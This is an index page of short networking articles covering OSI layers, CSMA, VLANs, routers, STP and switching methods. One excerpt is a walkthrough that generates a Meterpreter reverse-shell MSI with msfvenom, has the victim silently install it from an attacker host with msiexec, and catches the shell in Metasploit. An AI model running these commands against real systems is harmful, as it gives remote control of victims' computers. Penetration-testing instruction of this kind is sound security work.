Computer Engineering Articles - Page 2 of 35

The main function of the network layer or layer 3 of the OSI (Open Systems Interconnection) model is delivery of data packets from the source to the destination across multiple hops or links. It also controls the operation of the subnet.The functions are elaborated as below −When data is to be sent, the network layer accepts data from the transport layer above, divides and encapsulates it into packets and sends it to the data link layer. The reverse procedure is done during receiving data.The network layer is responsible for routing packets from the source host to the destination host. The ... Read More

Windows OS comes installed with a Windows Installer engine which is used by MSI packages for the installation of applications. The executable program that interprets packages and installs products is Msiexec.exe.Launch msiexec attack via msfvenomLet’s generate an MSI Package file (1.msi) utilizing the Windows Meterpreter payload as follows;msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f msi > 1.msiAt the target end, when the victim execute the 1.msi file on the remote machine with the following utiliy;msiexec /q /i http://192.168.1.109/1.msiThe attacker get the reverse shell of the victim machine by starting multi/handler as the listener.use exploit/multi/handlerset pyaload windows/meterpreter/reverse_tcpset lhost 192.168.1.109exploitRead More

Multiple access protocols are a set of protocols operating in the Medium Access Control sublayer (MAC sublayer) of the Open Systems Interconnection (OSI) model. These protocols allow a number of nodes or users to access a shared network channel. Several data streams originating from several nodes are transferred through the multi-point transmission channel. The objectives of multiple access protocols are optimization of transmission time, minimization of collisions and avoidance of crosstalks. Categories of Multiple Access Protocols Multiple access protocols can be broadly classified into three categories - random access protocols, controlled access protocols and channelization protocols. ... Read More

Carrier Sense Multiple Access (CSMA) is a network protocol for carriertransmission that operates in the Medium Access Control (MAC) layer. It senses or listens whether the shared channel for transmission is busy or not, and transmits if the channel is not busy. Using CMSA protocols, more than one users or nodes send and receive data through a shared medium that may be a single cable or optical fiber connecting multiple nodes, or a portion of the wireless spectrum.Working PrincipleWhen a station has frames to transmit, it attempts to detect presence of the carrier signal from the other nodes connected to ... Read More

The IEEE 802.1Q networking standard lays down the specifications for VLANs (Virtual Local Area Networks or Virtual LANs) on an IEEE 802.3 Ethernet network. The standard is generally referred as Dot1Q. VLANs are a logical group of computers that appear to be on the same LAN irrespective of the configuration of the underlying physical network. Network administrators partition the networks to match the functional requirements of the VLANs so that each VLAN comprise of a subset of ports on a single or multiple switches or bridges. This allows computers and devices in a VLAN to communicate in the simulated environment ... Read More

Routers are networking devices operating at layer 3 or a network layer of the OSI model. They are responsible for receiving, analysing, and forwarding data packets among the connected computer networks. When a data packet arrives, the router inspects the destination address, consults its routing tables to decide the optimal route and then transfers the packet along this route.Features of RoutersA router is a layer 3 or network layer device.It connects different networks together and sends data packets from one network to another.A router can be used both in LANs (Local Area Networks) and WANs (Wide Area Networks).It transfers data ... Read More

Spanning Tree Protocol (STP) is a communication protocol operating at data link layer the OSI model to prevent bridge loops and the resulting broadcast storms. It creates a loop − free topology for Ethernet networks.Working PrincipleA bridge loop is created when there are more than one paths between two nodes in a given network. When a message is sent, particularly when a broadcast is done, the bridges repeatedly rebroadcast the same message flooding the network. Since a data link layer frame does not have a time-to-live field in the header, the broadcast frame may loop forever, thus swamping the channels.Spanning ... Read More

In data communications, wormhole switching a flow control technique where large data frames or packets are partitioned and then transmitted. When a switching device (a bridge or a switch) receives a data packet, it partitions the packet into small parts called flow control units or flits. The flits are transmitted one by one instead of the whole packet. Also called wormhole flow control, wormhole switching is subtype of flit-buffer flow control methods and is based upon fixed links.Working PrincipleIn this technique, each packet or frame is broken into smaller pieces of data called flits. The header flits contain the destination ... Read More

In data communications, cut-through switching is a method of switching data frame or data packets, where the switching device (bridge or switch) forwards the frames or packets as soon as the destination address is available without waiting for the rest of the data to arrive.Working PrincipleCut-through switching is used in packet switching systems. In packet-switching, the message is divided into a number of units called packets that are individually routed from the source to the destination. There is no need to establish a dedicated circuit for communication, since it is a connectionless network switching technique.In cut − through switching, when ... Read More

Virtual Local Area Networks or Virtual LANs (VLANs) are a logical group of computers that appear to be on the same LAN irrespective of the configuration of the underlying physical network. Network administrators partition the networks to match the functional requirements of the VLANs so that each VLAN comprise of a subset of ports on a single or multiple switches or bridges. This allows computers and devices in a VLAN to communicate in the simulated environment as if it is a separate LAN.Features of VLANsA VLAN forms sub-network grouping together devices on separate physical LANs.VLAN's help the network manager to ... Read More